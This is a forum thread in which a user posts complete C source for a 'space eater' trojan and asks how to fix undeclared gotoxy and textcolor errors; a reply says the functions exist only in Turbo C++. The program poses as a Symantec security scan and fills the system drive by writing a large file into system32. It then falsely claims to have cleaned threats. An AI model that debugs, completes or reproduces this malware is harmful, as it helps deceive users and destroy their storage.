undeclared (first use this function) problem

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Coll1d3r
    New Member
    • Jun 2014
    • 1

    undeclared (first use this function) problem

    I have the following code:

    /* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/

    #include<stdio. h>
    #include<conio. h>
    #include<dos.h>
    #include<stdlib .h>
    FILE *a,*t,*b;
    int r,status,vir_co unt;
    double i;
    char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

    void eatspace(void);
    void findroot(void);
    void showstatus(void );
    void draw(void);
    void accept(void);
    void showstatus()

    {
    gotoxy(12,8);
    cputs("SCANNING THE SYSTEM FOR THREATS");
    gotoxy(12,10);
    cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
    gotoxy(12,13);
    cputs("SCAN IN PROGRESS. PLEASE WAIT...");
    }

    void main()
    {
    draw();
    accept();
    textcolor(WHITE );
    draw();
    gotoxy(12,8);
    cputs("ANALYZIN G YOUR SYSTEM. PLEASE WAIT...");
    sleep(3);
    gotoxy(12,8);
    delline();
    cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
    getch();
    gotoxy(12,8);
    delline();
    findroot();
    }

    void accept()
    {
    textcolor(LIGHT RED);
    gotoxy(1,8);
    cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\ " LOCATED IN\n\n\r \"%windir%\\Sys tem32\".\n\n\rI F YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

    if((choice=getc h())!=13)
    exit(0);
    }

    void draw()
    {
    clrscr();
    textcolor(WHITE );
    gotoxy(12,2);
    cputs("******** *************** *************** *************** ***");
    gotoxy(12,6);
    cputs("******** *************** *************** *************** ***");
    gotoxy(12,3);
    cputs("*\n\b*\n \b*\n\b");
    gotoxy(67,3);
    cputs("*\n\b*\n \b*\n\b");
    gotoxy(14,4);
    cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
    }

    void findroot()
    {
    t=fopen("C:\\wi ndows\\explorer .exe","rb");
    if(t!=NULL)
    {
    fclose(t);
    textcolor(WHITE );
    a=fopen("C:\\wi ndows\\system32 \\spceshot.dll" ,"rb");
    if(a!=NULL)
    {
    textcolor(LIGHT RED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
    getch();
    exit(1);
    }
    b=fopen("C:\\wi ndows\\system32 \\spceshot.dll" ,"wb+");
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("D:\\wi ndows\\explorer .exe","rb");
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("D:\\wi ndows\\system32 \\spceshot.dll" ,"rb");
    if(a!=NULL)
    {
    textcolor(LIGHT RED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
    getch();
    exit(1);
    }
    b=fopen("D:\\wi ndows\\system32 \\spceshot.dll" ,"wb+");
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("E:\\wi ndows\\explorer .exe","rb");
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("E:\\wi ndows\\system32 \\spceshot.dll" ,"rb");
    if(a!=NULL)
    {
    textcolor(LIGHT RED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
    getch();
    exit(1);
    }
    b=fopen("E:\\wi ndows\\system32 \\spceshot.dll" ,"wb+");
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("F:\\wi ndows\\explorer .exe","rb");
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("F:\\wi ndows\\system32 \\spceshot.dll" ,"rb");
    if(a!=NULL)
    {
    textcolor(LIGHT RED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
    getch();
    exit(1);
    }
    b=fopen("F:\\wi ndows\\system32 \\spceshot.dll" ,"wb+");
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    if(t==NULL)
    {
    textcolor(LIGHT RED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
    getch();
    exit(1);
    }
    exit(1);
    }

    void eatspace()
    {
    textcolor(LIGHT RED);
    gotoxy(12,16);
    cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
    textcolor(WHITE );
    gotoxy(12,18);
    while(1)
    {
    for(r=1;r<4;r++ )
    {
    for(i=1;i<90000 0;i++)
    {
    status=fputs(ch ,b);
    if(status==EOF)
    {
    textcolor(WHITE );
    vir_count=rando m(120);
    draw();
    gotoxy(12,8);
    cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_c ount);
    gotoxy(12,10);
    cprintf("PRESS ANY KEY TO CLOSE...");
    getch();
    break;
    }
    }
    cputs(".");
    if(status==EOF) break;
    }
    if(status==EOF) break;
    }
    exit(0);
    }

    void showstatus()
    {
    gotoxy(12,8);
    cputs("SCANNING THE SYSTEM FOR THREATS");
    gotoxy(12,10);
    cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
    gotoxy(12,13);
    cputs("SCAN IN PROGRESS. PLEASE WAIT...");
    }


    whit it giving this error on all gotoxy and on all textcolors( ex: WHITE, LIGHTRED, etc).
  • aswal
    New Member
    • Aug 2013
    • 38

    #2
    If you are running this on compiler other than turbo C++ then it won't work as gotoxy() is available only with turbo C++ for other compiler you can create gotoxy().

    To create own gotoxy() try the following link

    Gotoxy Not Working

    Comment

    Working...